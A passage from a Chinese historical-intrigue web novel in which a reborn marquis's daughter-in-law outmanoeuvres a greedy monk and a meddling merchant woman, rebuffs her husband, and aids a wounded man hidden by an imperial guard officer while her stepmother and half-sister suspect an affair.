人就是这样，只要不是自个儿出银子，喊得最是大声。非但要瞧热闹，还要把人架起来，势必要叫别人出了银子，他们自个儿得了名声去。
沈宁音面纱下的嘴角噙着冷笑。
“不是吧？不是吧？堂堂侯府少夫人，不会连这点儿钱也拿不出来吧？”
女子提着衣摆站到门口大喊：“大家快来看啊！侯府的人虐待家奴了！”
沈宁音目光落在架子上的外院管事身上，发现他的手臂微不可查地抖了抖。她立马反应过来，这人早醒了，或者根本是摔了之后为了休息而装晕。
方才他能听着自个儿被人针对被人教训，因为背靠侯府老夫人有恃无恐。可谁知那女子是个颠婆，想败坏侯府名声了，他这才怕了。
空行巴不得闹起来，越闹得大，侯府为平息事端给钱越多。
所以屋内二三十号人，愣没一个人动的。
沈宁音沉着声音冲那几个侯府家丁：“愣着做什么？都聋了么？还不快将人堵了嘴扔出去。”
她的命令果决又冷静，前世多年养成的上位者气势叫那起子家丁本能地服从命令。
“你们做什么？！”男装女子挣扎着，突然一把沙子从她袖子撒出来，几个家丁猝不及防，登时被她推开。
她快步跑到空行身后指着沈宁音的鼻子：“大师！她仗势欺人！”凶狠的语气在对上沈宁音冷冷的眼刀时明显地一哽：“我……我可是在你庙里挂单的！”
空行原以为自个儿能靠着这人的发癫吵闹拿捏住新嫁侯府少夫人。可谁知，这女人反闯了祸出来，还怂了！
侯府四个家丁捂着眼睛在地上哀嚎。
女人攥紧了空行的衣袖，一双大眼睛装满了清澈的愚蠢。
她这么拉着，几乎是要将自己跟寒山寺绑定起来，空行这会儿把她扔下山的心情都有了。
“阿弥陀佛！”里头传出来一阵佛号声。
众人就看见一位须发皆白的老和尚从大殿后绕了出来。
老和尚头顶上九个戒疤，身上穿着绣金丝须弥袈裟。这和尚与旁人印象又有不同，并没有怜悯众生的慈悲相，偏生了一脸的凶相，尤其脸上有一道粗延的疤痕，叫人望而生畏。
沈宁音一下子猜了出来，第一个上前双手合十，虔诚道：“心正禅师。”
老和尚略点了点头，眼里的惊诧无人能分辨。
怪道他从不公开宣讲佛法，这样的模样更似罗汉，而非禅师。
沈宁音这一开口，除了眼不能视的和装晕不敢起来的，其他人都只能恭恭敬敬地行礼。
空行见着出来的心正禅师脸色有些不好看。
“吵吵闹闹究竟为何？”心正禅师的目光头一个落在了空行脸上，空行咬了咬牙，便将事情从昨儿沈宁音不见，到今儿找着人，还有人受伤之事添油加醋说了一遍。
他巧舌如簧
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，沈宁音知道他隐去了许多重点，譬如侯府与他的首尾。这些话，听得那男装女子都红着眼睛气呼呼地瞪着沈宁音。
但沈宁音并未解释，也丝毫不慌。她能选择在这个时间过来找长老禅师自揭身份，就是前世无意中撞见了一回心正禅师训诫弟子，又听过那些弟子说，禅师最是公正。
“你还有什么话说？！”男装女子又来了劲儿，仿佛那心正和尚已成了她的靠山。
只是心正看了她一眼便收回了目光，对空行道：“依你之言，你怎知这位少夫人会来？又怎会猜测她是失踪了？”
心正禅师一语抓住了重点。
空行眼神有几分闪躲，咬了咬牙：“师伯明鉴，侯府与咱们寒山寺久结善缘，有派人过来知会过……”
心正禅师皱紧了眉头。
寒山寺的两派僧人各司其职，其中一派负责佛法，最虔诚的便是心正，而空行是另一派，负责管理营生。
这两派本就互相不喜。但凡对上必定不会和稀泥，是要攀扯一二的。可偏偏空行辈分低，被人稳压。
沈宁音提前搬出这大佛来，委实天克他，叫空行心里暴躁，嘴上却只能吃瘪。
“你又乱收了不该得的银子！？”心正冷声呵斥。
心正心里火气，梗着脖子：“我没有！那只是香油钱！”
“好！”心正看向一旁不知所措的小沙弥：“你来说，是几时出去寻人的？”
小沙弥看看空行，又看看心正，眼泪在眼眶里打转。最后还是回答了：“下午。”
心正禅师道：“便是侯府提前讲过，不及天黑便与人一道出去寻人？”
沈宁音站在一旁，似笑非笑，若只是寻常关切，那绝不可能如此，明眼人都能看出来，这是侯府拿钱叫人盯梢，能找人处心积虑盯着人能有什么好谋算？
还好她见机得早。
这已经超出了关心的范畴。空行也有问题。
空行显然也想到了此处。心正也不多言，只道：“你自去戒律堂领罚。”
闻言，空行眼珠子都要红了。
沈宁音也听闻过，寒山寺不是武寺，所以里头的戒律堂形同虚设，若罚，棍子打得极狠。
几乎要三天都起不来那种。
他们轻易不罚的，除非罪大恶极。
心正罚得这样重，空行不服，他不敢冲心正发火，便死死瞪着沈宁音。
“师伯！可是她草菅人命，虐待下人，弟子不服！”
沈宁音笑了，这人得不了道理，便想将受害之人打上污点，仿佛只要这个人不完美了，那么他们做的所有事情都顺理成章，就不是错了。
心正没有让沈宁音失望，老禅师一声令下，和尚们七手八脚把他按住。
“阿弥陀佛，错就是错，带下去罢！”
空行还要再说，心正摆摆手，人就被拉下去了。
空行一走，那男装女子面前就空了，她睁大了眼睛有些不知所措。
“闲杂人等，还不撵了出去？”心正道。
沈宁音转眸睨了一眼。
28. 夫来
女子见所有人都看向自己，很明显地慌了，但她攥紧裙裾很有些不服气地冲沈宁音放了句狠话：“你给我等着。”喊完扭头就跑。
沈宁音倒是没想到这世上还有这样不自量力的女子。
恭恭敬敬冲心正禅师道了声谢，谈到此来拜访，心正禅师看了一眼侯府众人，却是以忙为由拒绝了。
寒山寺的僧人走完后，沈宁音低头看向地上一动不动的管事。
现如今围在一起的仆从家丁都等着管事拿主意，可管事得了老夫人的命令，他是来算计沈宁音逼着她主动回去的。
他若这会儿醒，觉着定叫少夫人猜着刚才是故意没开口解释，等看她笑话的。
那还不如接着晕。
他能等，沈宁音却不耐，冲殿外候着的染竹招了招手：“拔根簪子来。”
沈宁音手里捏着染竹的簪子，迅雷不及掩耳之势一下戳在管事的大腿上。
“啊！！！”管事一声惨叫捂着腿几乎要跳起来。
他红着眼睛怒瞪着沈宁音：“少夫人！您是要打杀了奴才么！？”他在侯府多年，料定沈宁音不敢。
沈宁音直起身子，接过染竹递来的帕子擦手，露出个温柔的笑：“若伤得严重醒不过来，这样的话就得从上京城挑个能治疗内伤的好郎中过来。不过，既醒了，也是要请的。”
管事皱眉愣住，完全没想过少夫人竟是这个意思。
沈宁音没管他怎么想，只冲旁边儿一个家丁道：“你往上京去找回春堂的坐堂郎中来。无妨花多少钱，定要将人请来。”吩咐完，又叫其他人先送掌事的去寺里找僧人疗伤。
染竹当场就急了，想说什么，沈宁音却用眼神制止了。
她这一番操作下来，管事的懵了，家丁们都懵了。
原本想着这少夫人软和好拿捏，又害得他们一整夜在外头找寻，等伤好了就要大展能耐的。可此时此刻，家丁们忽然又觉得这么想的自己简直猪狗不如。
回春堂可是上京城最负盛名的医馆。
就算是上京城的富贵人家，也没人愿意给奴才们请这种级别的郎中来。
少夫人这以德报怨的姿态简直可怜，众人看向她时，都仿佛觉着她头顶那尊菩萨都没她圣光严重……
管事的得意洋洋，而仆从们却都心情复杂。
沈宁音跟染竹兰香一道出大殿，还没走过那一排的廊庑，兰香已经忍不住噘嘴：“您瞧那管事小人得志的样子！少夫人，咱们何必忍他？”
染竹也着急地提醒：“少夫人，您兴许不知，那回春堂是上京最好的医馆，贵得吓人的！”
兰香一听小脸更耷拉：“咱们花了银子，那管事的也不一定会念着您的好哩。”
沈宁音脚步略顿，面纱下的嘴角略弯：“急什么？我就是要用最好的郎中，用最贵的药。”她转眸看向两个丫鬟：“我可有说过是我自个儿掏银子？”
兰香与染竹对视一眼，染竹当先明白过来：“少夫人好一招借花献佛。”
“花侯府的银子，收买人心。”
沈宁音点点头：“还不算笨。”
“可是……”染竹皱了皱眉：“那管事的资历老，未必会受咱们收买。”
沈宁音笑着摇头：“侯府下人那么多，他不行，自有别人能瞧见的。”
自己在昌平侯府没有任何根基，想要收买老夫人手里的老仆从简直痴人说梦，沈宁音只是要对老夫人表明自己不会回去的心，也是博一个良善主子的清名。
更多的，沈宁音并不打算多解释，转眸：“对了。去打听方才那女子。”
寺庙里头鱼龙混杂，但那女人似乎不是特别注重消息的贵人，很容易就打听出来了。
女人叫梁玉霜，是从凉州城过来的客商。
沈宁音站在台阶之上俯视被压着的梁玉霜时都有些惊诧。凉州城地处边塞，与上京不知隔着几千里远。就算女扮男装，这女子能平安抵达上京也是件十分困难之事。
沈宁音收起了小瞧的心思。
“你这个坏女人！放开我！我可是合法的！我有通关文书！”
梁玉霜挣扎着，愤愤盯着沈宁音。
兰香与染竹都有些意外，那女人虽可恶，但以自家主子往常的性子也不会太往心里去，而这次竟然专门命人将其带过来。
梁玉霜被放开后，一边揉捏胳膊一边颤着声：“我警告你！我出来时，可是叫丫鬟在京城内报备了的，我若是出事，迟早查到你头上。王子犯法与庶民同罪！”
她说完，脸上的表情就好了一些，仿佛有底气了。
沈宁音眼睛都没眨一下，微笑：“你既这么懂法，那该你负的责任，难道想要推脱？”
梁玉霜一愣：“你在说什么？我不懂。”
沈宁音抬手，手心摊开，兰香已经往她手心里头放了一张纸笺。
沈宁音款款歩下台阶，将那纸笺往梁玉霜眼前一展：“喏，赔银子吧。”
梁玉霜瞪大眼睛：“我就是围观了你的暴行！凭啥让我赔银子！！！”
沈宁音也不恼，淡声道：“你再仔细瞧瞧。”
梁玉霜将那纸笺薅在手里定睛看过去：“汤药费，误工费，情绪安抚费，二十两？！”
梁玉霜抓着纸笺的手忍不住颤抖起来。
沈宁音轻笑着补充：“是一人二十两，伤了三人，拢共六十两。”
梁玉霜狠狠撕掉了纸笺，眼眶都红了，愤怒地看向沈宁音：“你怎么不去抢！”
“放肆！”兰香叉着腰上前：“凭你也配这样同少夫人说话！”
梁玉霜瞪大了眼睛，上一次她只记得沈宁音心狠了，没想到这会儿身边又多了个声音大的。兰香吼起来的声气儿简直像是水开了的瓦壶。
“兰香。”沈宁音抬了抬手，看向梁玉霜：“我昌平侯府的奴才每日里做事殷勤，主子经常打赏，月例、赏钱，算个五两不过分吧？还有用来润眼的药得用好的，怎么也不能叫人留下什么后遗症。十两银子已经算少了。还有万一当真留了后遗症，五两银子可不够赔！”
“你！”梁玉霜抬手指着沈宁音的鼻子。
沈宁音眼神一下冷沉，直直的看
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进她的眼睛：“你那灰土里面可是掺着石灰呢！你别告诉我你不知情！”
梁玉霜眼神闪躲，拔高了音量：“我真不知！我就是、就是在修缮庙宇的地方随便抓了一把。”
沈宁音冷笑：“随便抓了一把？你可真是天真无邪。”
“六十两，一个子儿也不能少！”她一锤定音。
转身时，沈宁音并没去听梁玉霜的大喊大叫。
一个能从凉州城辗转前来上京的，又岂会是什么纯良天真的人？至少，沈宁音不信。
“去她住所讨银子，倘使她不给，就送去见官！”沈宁音头也没回。
梁玉霜不是喊着法律么？那沈宁音就给她法律。
沈宁音回到西边儿靠墙根的偏僻厢房。
她提笔抄经，没抄几笔便有人来了。屋子里的檀香刚点上，青涩的滋味尚未散尽。
门口上传过来染竹急促的脚步声。
沈宁音没抬头：“怎么？这么快收好银子了？”她倒是没料想那梁玉霜一个边城来的商贾，能如此爽快掏银子。
这时间上，前后只够他们去一趟她住的通院。
“不是。”染竹说完这两个字，忍不住停了片刻。
沈宁音意识到没对，皱眉抬起了眼睛，目光询问。
染竹才小声道：“没收着钱……”
“她没钱？”沈宁音蹙紧眉头。
染竹摇头，支支吾吾：“是，是世子爷来了。”
沈宁音提起笔来。
染竹苦笑着继续道：“世子爷给那女人把银子免了。”
沈宁音手里的笔空悬着，一滴刚蘸好的墨汁滴在了宣纸上。她低头一看，一整篇俊秀的经文毁于一旦。
“少夫人……”染竹看她愣怔，以为主子是醋了，只在心里替主子难受。
沈宁音搁了笔，脸上看不出喜怒：“世子人呢？”
沈宁音一面往外走，一面将挂着的斗篷披在身上。
天色到了下午，没有出太阳，但也没下雨，寒山寺的空气中充斥着湿润，风一吹就冷得很。
沈宁音出来得匆忙并未弄暖手的手炉。
染竹跟在她身后，主仆二人转过走廊，绕过人群，月洞门外，便是与贵人所在的厢房隔开的地方。
“少夫人，您慢点走。世子就在那边。”染竹担心主子的心情：“奴婢先过去通传。”
沈宁音摆摆手：“外头不比府邸，你不用这样。”
很快的，她便看见几个人在那里笑着指指点点。
“没想到贵公子喜欢这样的可人儿。”
“呸，你是吃不着葡萄酸了吧唧？没看见那小娘子哭起来梨花带雨的？那模样身段，换了你你不会心猿意马？”
人们在说着些不着边的。
染竹道：“少夫人……您别听，都是些蠢话。”她说完连忙上前去驱赶人群。
沈宁音并没有回答，也没有什么表示。
她在走廊上，隔着天井看着那边厅堂内的人。
那笑着安抚女人的俊美男子，不是秦耀阳又会是谁？
29. 顶撞
秦耀阳抬眼，远远儿地就看见了沈宁音。
“宁音，你来得正好。”秦耀阳走了过来，回头冲跟着的梁玉霜笑：“这位玉霜姑娘远来也不容易，凉州城那等地方哪里有上京城富庶。”
男人挺起胸膛：“我做主，这银子就免了。”
沈宁音一时没接话，但目光依旧保持着从容，扫到梁玉霜时，女子冲她得意地吐舌头。
这等古灵精怪没规矩的模样正好叫秦耀阳看见，他不见呵斥，甚至连眼神都温柔了几分。
梁玉霜依旧穿着那身男装，唯独长发披散下来，只简单挽了个髻。沈宁音便知她使了点手段引自家男人注意。
沈宁音并不是吃味，她只是好奇这样简单的手段，自己那位连新婚夜都要替寡嫂守身如玉的夫君怎会轻易就中了招。
六十两银，不是个小数目。上京城寻常的店铺一个月的利钱也不一定能赚回来的，便是夫人小姐的零花，每月也不过五两。
然而，当梁玉霜笑的时候沈宁音倏然就明白了。
她笑起来的模样神似周婉。女孩子年轻，十六七岁青葱般的年纪。而周婉，已经二十九了。
见沈宁音不说话，身旁又是个楚楚可怜的小娘子巴巴望着自己，秦耀阳一时间胸臆中充斥着连他自己都不知所起的大男子情绪，他势必要替女人做主。
秦耀阳蹙眉看向沈宁音：“怎么？莫不是有问题？”
深吸口气：“是有些问题。”沈宁音声音温柔。
“宁音！”秦耀阳声音不自觉拔高了些，他觉着面子上有些下不来台。
沈宁音并不急言令色，语调是一贯的温和：“按说，仆从虽都是松鹤堂下令遣来的，但也侯府家奴，世子不愿追究，妾身没什么资格置喙。”
闻言，秦耀阳的神色好看了些。
“不过。”沈宁音话锋一转：“自家家奴吃了亏，得了委屈，梁姑娘这银子是免了，那总不能没人来给吧？”
沈宁音转开目光：“妾身倒是无所谓，世子自去同老夫人、夫人还有侯爷解释。”
她态度明确，不是自个儿的意思便不当这个冤大头。
被梁玉霜崇拜的眼神看着，原本面有得色的秦耀阳，在听说要自个儿去跟昌平侯解释，立马表情就变了。
旁人还好，可秦耀阳最怕他老子，从前被昌平侯按在堂前打板子，差点儿没打死过去，当时谁劝都不顶用，阴影挺大。
秦耀阳张了张嘴，沈宁音已经转开了脸。
秦耀阳一咬牙：“不就是六十两银，无需劳烦他们，回头我叫人送过来给你。”
沈宁音笑道：“还是世子怜香惜玉。”
她话出口梁玉霜先臊了个大红脸，生气道：“你胡说什么！”一跺脚，捂着脸转身就跑。
秦耀阳抬手发了声“哎”，便也没去追，眼睛却依依不舍盯着人。
沈宁音看了他一眼，转身就走。
这下，秦耀阳有些傻眼。
沈宁音走了好一会儿，走到连通内外的月洞门时方才听着男人追上来的脚步声。
“宁音，你走这么快做什么？”男人到底选了她。
沈宁音方才没给他全了脸面，秦耀阳眼底还有几分恼意。男人走到她面前拦上了路。
“你昨儿失踪，我担心你，这才来瞧瞧的。”他掩饰隐忍，伸手来拉沈宁音的小手。
刚碰到，未及握紧，沈宁音已经抽开了手。
秦耀阳蹙眉：“宁音，你这气也气了，醋也醋了，还闹什么？”
“那梁姑娘，我只是瞧着她可怜。你又吃哪门子飞醋？”
沈宁音可不能给人一种自己善妒的名声，惊讶地抬眸看向他：“世子此言何意？”
“妾身诚然觉得自己被夫君、被家里冷落，可又何来吃醋一说？妾身吃了谁的醋？”
秦耀阳张了张嘴，顿住了。周婉的身份，谁也不可能选址于口。
沈宁音继续道：“至于梁姑娘。”她温婉低头：“世子若想纳她入府，妾身绝无怨怼。”
秦耀阳脑子里倏然闪过梁玉霜的脸，但很快就将这想法驱出脑袋。
“宁音，你是说气话么？”他皱紧眉头。
沈宁音垂眸福了福身：“妾身就先回去了。”
“你真要如此？”秦耀阳声音有些发沉。
只是这次沈宁音本就没打算低头，就算要回去，也断不能是秦耀阳现如今的态度。
突然，秦耀阳再次走到她跟前，皱眉看着沈宁音的脸，沈宁音回望，丝毫不避。
秦耀阳叹了口气：“你既然要留下抄经，就去侯府常驻的那处厢房吧。旁的地方到底不比那儿宽敞。”
顿了顿：“母亲与祖母那儿我去说。她们疼我，定不会罚我。”
“不必了，妾身住得还算舒心，世子不必挂怀。”沈宁音看得出秦耀阳此话是出自真心，不过，就算他真心想叫自己住得舒服些，沈宁音也不敢领受他的好意。
谁知道会不会有什么暗亏在等着自己呢？
秦耀阳只觉着沈宁音不识好歹，当即气得不清，一甩袖子大步离去。
他走之后，沈宁音着实过了舒心的一天一夜。
可翌日清晨，天空刚泛起鱼肚白，房间门口就传来梁玉霜的叫喊声。
沈宁音被扰了清梦，心中火起：“怎么不叫个人堵了她的嘴？”
“当值的是谁？”
伺候在侧的染竹忙道：“是春渠。”
听见春渠这名字，沈宁音倒是有些意外。春渠是个有主意的，她没撵人定是有把不准的缘故。
沈宁音梳妆妥当，丫鬟们跟了出去。
她一出门就知道缘故了。
“你来得正好！”梁玉霜红了眼睛，攥紧了拳头道：“免了银子那可是你们世子爷做的主，不是我！”
“没想到你们竟然偷偷动我的箱子！非但不见了许多我要捎带回去的小玩意儿，而且还往里头泼鸡血狗血！你们什么意思？！”
梁玉霜越说越委屈。
春渠连忙迎上来，眼睛往箱子里的暗红色瞥了瞥，用沈宁音才能听着的声音小声道：“奴婢觉着不像是鸡血狗血。奴婢常在厨房帮忙，自小也宰过不少家禽，这血，倒像是……”
沈宁音原本还不甚在意，只以为是这女人又找什么由头想过来再讹一笔。谁知，这事儿另有隐情？
梁玉霜大清早就过来闹腾，
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但这院子本就偏僻，时辰又早，所以几乎没闹出来什么路人围观，只有她穿得太单薄，在晨风里冻得嘴唇发白。
沈宁音一把推开她。
梁玉霜一个趔趄差点儿栽倒：“啊哟！”她刚愤怒地转头准备推回来，还没动手便被沈宁音一个眼神杀在原地。
梁玉霜当场被沈宁音吓住了，印象里无妨在大殿还是通庑，这位侯府少夫人从来都是温柔的，就算动怒也不曾这般凶狠眼神。
沈宁音逼近一步：“你今早搬箱子过来可遇到过什么人？”
梁玉霜呼吸一滞：“我为什么要……告诉你。”她越说越小声，最后底下脑袋：“太早了，没有的。”
也不是梁玉霜故意避着人，委实是她想早点过来闹一闹，心里憋着气呢，不想叫沈宁音睡个好觉。
哪知道对方这般慢吞吞，反倒是自己冻得打喷嚏。
沈宁音打量着梁玉霜的神色，旋即抬手一指带血的箱子，吩咐女婢们：“把里面的东西装起来，再把箱子砸了。”
“什么！”梁玉霜几乎不敢相信自己的耳朵。
染竹等人见着沈宁音神色严肃，尽都不敢怠慢，很快就找了快纱帐去兜着，把里面的东西一径往外扒拉。
“住手！这是我的东西！”梁玉霜要扑上去，被早就盯着她的春渠抱了个正着。
她便哇哇大叫。
春渠烦不胜烦，拔下头上的木簪低进梁玉霜的的脖子，簪子深陷，再用力定是要戳开了。
梁玉霜哪里见过这么狠的丫鬟？就连沈宁音都不由得对春渠侧目。
梁玉霜不吼了，她搓着双手，声音变成了求：“求你了，美女姐姐，算我错了行不行？”
“这些都是我好不容易挑选出来的新奇玩意儿，性价比最高！卖去边塞能赚第一桶金的。”
“我也没跟你有什么深仇大恨，大家各退一步！你只要把拿走的那些还回来……不，稍稍给我点银子我自己去买也行。不是什么大钱的……”
梁玉霜说了半天，沈宁音充耳不闻。
很快，一行人提着那堆东西就往外走，远处似乎传来什么吵嚷声，沈宁音心头没来由跳了跳。
她抬手轻抚胸口，沉着吩咐：“春渠，你机灵，去远远地打探一下发生了什么事？”
“是！”春渠急匆匆离开。而沈宁音则领着人到了寺庙内的焚烧塔前。
焚烧塔乃是青铜铸造，是为了在法会时，因为人太多，而专门设置，以焚烧信众们插在殿前大鼎内没来得及燃尽的香火的。
是为了叫神佛能聆听信众们完整的祈愿。
所以就算是平日起了烟火，也不是什么叫人稀奇的事情。
而且沈宁音扫了一眼，那焚烧塔内灰烬极多，和一和，有新灰也不会惹人注意。
沈宁音沉声吩咐：“拿火折子来。”低头看了一眼地上的打包东西：“都烧了。”
“不！不可以！”春渠不在，梁玉霜又要闹起来。
“闭嘴！”兰香吼。
梁玉霜不怕她，拿眼瞪她。
兰香捋袖子正要掌她的嘴。
“少夫人！”春渠的声音传来：“皇城司来了！来了好多人！”
31. 私通
风吹过窗外的树叶沙沙作响，光影随着枝桠摇曳。
薛岚乌沉沉的眼眸盯着沈宁音，她的脖颈细嫩，锋刃一侧，青色的血管隐约可见，女人是花一样的年纪，对疼痛尤其敏感些，所以分明并不太久，但沈宁音却觉着好似过了许久许久。
就在她快要以为自己活不成时，那把横在脖颈处的绣春刀终究是撤了下去。
薛岚握着刀柄的手利落地挽了一下，慢悠悠将刀归入刀鞘：“你能帮我什么？”
虽是疑问，可沈宁音从他冰冷的语调里头听出来了生路，她拿帕子捂住脖颈止血，抿了抿苍白的唇瓣。
“你把人就这么随便寻个不知底细的小娘子托付着送出京城，委实太过不智。”
薛岚皱了皱眉，沈宁音知道他大约没料到自己这么有恃无恐，第一句话竟是在责难他。
但他这样的冷面阎罗，既然收了刀，便定然是已经想得通透，再砍下来的概率并不大。
“我说错了么？那梁玉霜是个外来户，今儿一早就把个箱子抬我那儿去了。”
薛岚眼神里有一刹的惊诧。
沈宁音没有错过他这瞬间的表情，提着裙摆瞥他一眼，有些好笑，她推开男人：“我去瞧瞧吧，妾身略懂一些医理。”
梁玉霜没动机、也没那本事撒谎，所以沈宁音在见着薛岚之际就猜了个大概。
人是薛岚藏的，也只有他这个级别之人，才有那权限与能耐将个大活人在城门口借着搜查的名义藏进去。
可他大抵是没得挑，更不知梁玉霜总做出些奇怪又出格的事。这次安顿好了人再回去处置首尾，箱子没了，人也没了。
从某种意义上讲，沈宁音非但饶了梁玉霜一命，还从这薛大人手里救了她一命。
薛岚捏着刀，拿刀鞘横着她，眼神里毫无信任可言。
沈宁音顿住脚步转眸他，尽力让自己说话的时候显得友善：“大人放心，妾身已经替您把东西都烧了，箱子也砸了。”
薛岚盯着她，并没有放行，恰此时，密室内伴随着虚弱的咳嗽，血腥味瞬间浓郁了一个度。
薛岚脸色一变，也顾不上旁的，一把推在沈宁音的肩头，沈宁音踉跄两步摔在了地上。
他也合身跨了进来，还不忘伸手把入口关上。
霎时间，光线湮灭，血腥的滋味与黑暗一同笼罩了上来，不合时宜的所有线索，与沈宁音一道，被关在了密室中。
沈宁音平日里见识多，胆子也大，不然也不会自负地想过来查看一二。但人的本能却不是谁都能自如控制的，眼睛看不着光亮，人也摔在地上，这样的姿态就恍若砧板上的鱼肉。
沈宁音下意识地抗拒这种境况，她几乎是本能地一把抓上去，想借力起身。
入手是一层层布料，她嫌不够稳固，几乎是下一瞬又往厚实里抓。
上方传来男人的一声闷哼，他手里的火折子燃亮不过瞬息，又给他自己盖灭。
沈宁音脑子有刹那的懵，只觉手感有些奇怪，薛岚的反应也奇怪。
他这样天生冷淡的人，怕是受伤都不至叫他哼上一声的。
而且，仿佛手感在变得愈发奇怪起来。沈宁音有些不肯定，下意识又捏了一下。
黑暗中，一只铁一般的手掌摸索着抓住了她的手，并且飞快地甩开。
薛岚的声音带着点咬牙切齿：“够了！”
前后不过两三个呼吸。火折子终于再次燃起，灯火如豆。
男人大步流星，风一样略过，甚至没有拉她一把，只留给沈宁音一个背影。
她撑着墙壁爬起来，皱眉思索着看了一眼自己的手。
沈宁音突然意识到了什么，手指颤了颤。整张脸都烧了起来。
“冠生，躺下。”薛岚扶着床上的人，他似乎不太会说话，就连关切的言语都显得生硬。
沈宁音走近两步，越过薛岚的肩膀看见了一个血人，那人脸上的血已经被简单处理过，就算是如此昏暗的光线下，脸上的伤口依旧狰狞可怖。
还有那一身的血衣，沈宁音从阴影上判断，下面没有一块好肉，而且皮肉伤口与衣料粘连，处置起来非但费事，而且人也避免不了的疼痛。
饶是沈宁音历经两世，依旧是看得触目惊心。
床上的人似是想说点什么，目光落到沈宁音脸上，硬生生顿住。
沈宁音见着这样的惨状，将才那点尴尬羞臊早就已经云散烟消了，她赶了两步，站在薛岚身后：“我是薛大人叫来的帮手，你放心，你定不会有事。”
沈宁音觉着自己的表情即便算不上多么完美，却也不至面目可憎，可她甫一讲完这句话，薛岚转头看过来的目光却好似要把她千刀万剐。
她站在原地，第一反应并非是怕，而是思索。
沈宁音却怎么也想不出来到底在何处得罪死了这位薛衙内。
倒是那位名唤冠生的男子见薛岚没反驳，对沈宁音的态度好了几分：“多谢姑娘。”
沈宁音是个豁达的，既然想不明白，便也不想了。她索性挤到床边坐了下来。
“滚！”薛岚盯着她。
沈宁音听着了，也不看他，检查着男子的伤势。末了眉头蹙紧，声音沉静认真：“胡闹！”
她深吸一口气，血腥味萦绕在鼻尖，胸腹内翻涌，十分不适，但沈宁音忍住了，只转头看向了薛岚：“去打水来！”
薛岚被她吩咐得眼神狂怒，仿佛要杀人，沈宁音一下子就想起了将才脖颈上的疼痛感，但她强忍着想要移开目光的冲动，盯着男人的眼睛，咬牙：“伤得这般重，没有任何治疗，起码有两日了吧？！你若不想让他死，那就照做！”
关节攥紧的咔咔声清晰的从薛岚袖子里传来。
沈宁音硬着头皮拔高了音量：“还不快去！”
“……”
薛岚别开目光，看了床上的人一眼，转身走了。
楼阁之外，疏影横斜。
月洞门外边儿站着几个仆从，仆从们大气都不敢出。在她们前面，是沈夫人以及躲在拱洞往里头张望的沈弦思。
沈夫人皱眉：“思儿。”
“母亲，小声些，莫叫人发现了。”
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沈弦思头也没回：“您方才不也看着了姐姐的背影？”
沈夫人有些不安，回头打量来路，又是叹气又是揉太阳穴：“这大千世界背影相似之人何其多？怎么可能是沈宁音？”
沈弦思不乐意了，抬手指天：“母亲，思儿可以起誓！我非但看着了沈宁音的背影，我还看见了她的脸！”
“这……”沈夫人虽然依旧觉得是沈弦思瞧错了，但在当世，誓言可是很要紧的，而且又是在佛寺里起誓。
沈弦思被纵惯了，当下张嘴就要发毒誓。吓得沈夫人连忙捂她的嘴：“哎哟，举头三尺有神明，你可莫要胡乱发誓。说是看错了，有的你受着！”
沈弦思的认真让沈夫人心里其实信了两三分。
沈弦思待要争辩，沈夫人蓦然皱眉：“嘘。”她的目光越过了月洞门，直愣愣地看向里头。
被这境况惊住的沈弦思顺着沈夫人的视线望了过去。
母女二人都震惊在当场。
她们竟亲眼看见那位戴着面具的薛大人从阁楼里头走出来。
“好哇！沈宁音她竟然与人私通！”沈弦思声音又轻又急，抬手捋袖子要去捉奸。沈夫人脸色一变，飞快捂住了沈弦思的嘴巴将她拖到墙根下。
习武之人耳力好，虽隔得远，沈夫人却也不敢赌，拉着沈弦思就往外头走。
沈弦思被攥着手腕，眼睛瞠大，挣扎着：“母亲！姐姐都有秦世子了，她竟然做下这种不知廉耻的事情！与娼妇何异？！咱们快点去把她抓了！浸猪笼！”
沈夫人冷了神色，黑着脸呵斥她：“闭嘴！”
“母亲！？”沈弦思不依，还想拽着沈夫人往回走。
沈夫人气得一把甩开沈弦思的手。
这还是沈夫人这个姨母兼继母头一次对她这般，沈弦思一时间难以置信：“母亲！你……”
沈夫人这样做了之后立马就后悔了，她放柔了表情：“弦思，为娘只是想让你冷静一些。”
“将才那个进了阁楼的人，一定不会是你姐姐。”
所谓家丑不可外扬，就算进阁楼的真是沈宁音，沈夫人也不可能传扬出去。
她膝下也还有两个嫡女并好几个庶出女儿没嫁人，即便她要对沈弦思扮个慈母，却也不会真断送了自己亲女儿的前路。
“母亲！她明明就是！”沈弦思急了，根本不想看沈夫人的表情，拉着她道：“母亲！是与不是，咱们闯进去看看不就知道了？我敢保证，一定是她！”
“够了！”沈夫人不耐地打断沈弦思的话：“哪里那么多的是不是？”
“你没瞧见那男人身上的衣裳？”
沈夫人再如何您拎不清，也是个见过世面的，不想家丑外传是一方面，那男人的一身黑底半臂刺绣深衣和那把悬在腰上的绣春刀也是另一方面。
沈弦思红了眼睛，她今日非要让沈宁音身败名裂，沈夫人拉不住她，只好头一遭沉声吩咐人将她拉住。
“别闹了。那可是皇城司的人。”沈夫人苦口婆心。
这时，有男子询问：“什么皇城司的人？”
32. 搜查
一个锦衣华服的男子手背着手从不远处绕出来，他身边跟着一位眉眼明艳瑰丽的少女。
沈夫人一眼就认出了那名男子：“昭王殿下。”沈夫人身被诰命，沈弦思等人连忙行礼。
昭王身边的少女穿着一袭烟绿色襦裙，水红批帛，仪态是皇族宗室娇养出来的贵气。只是神色并不太好，水润的眼珠子里笑意不达眼底。
沈弦思下意识地看了一眼，光少女身上光彩夺目的珍珠衫就足以叫人咋舌。
“参见清河郡主。”
沈夫人的一句话，让沈弦思未免多看了少女一眼。
“起来吧。”昭王略略抬手。
有的人，叫人嫉妒，而有的人，你连嫉妒都觉得自己不配。沈弦思面前的清河郡主就是这样的人。
清河郡主的母亲是先圣人最宠爱的幺女，与圣人虽然年龄相差许多，但感情亲厚，因长公主仙逝早，清河郡主从小就被抱去宫廷养大，如今更是刚成年就默认将要入侍昭王府为准王妃。
昭王抬眸看了眼路尽头的院子。
“你方才提到皇城司？皇城司的人，不是在前头搜查么？”
昭王眼神里带着玩味：“怎的，还有人往禅师清修处去？”
沈夫人捏紧了袖子，圣人疑心重，太子之位空悬，而面前的昭王，几乎就是板上钉钉的储君人选。
沈夫人笑了笑：“启禀殿下，应是我那女儿看错了。”
沈家中立，如今日子刚好过一点儿，沈夫人是段段不敢再沾惹半分的。
可她这样想，但沈弦思并不会，她抓紧沈夫人的袖子，眼泪涟涟：“小女没看错！那人就是皇城司的人！就是戴着面具那个，此刻正跟我二姐姐在幽会！”
现场众人都惊了。
沈夫人心头一跳，连忙补救：“没有！没有的事。”
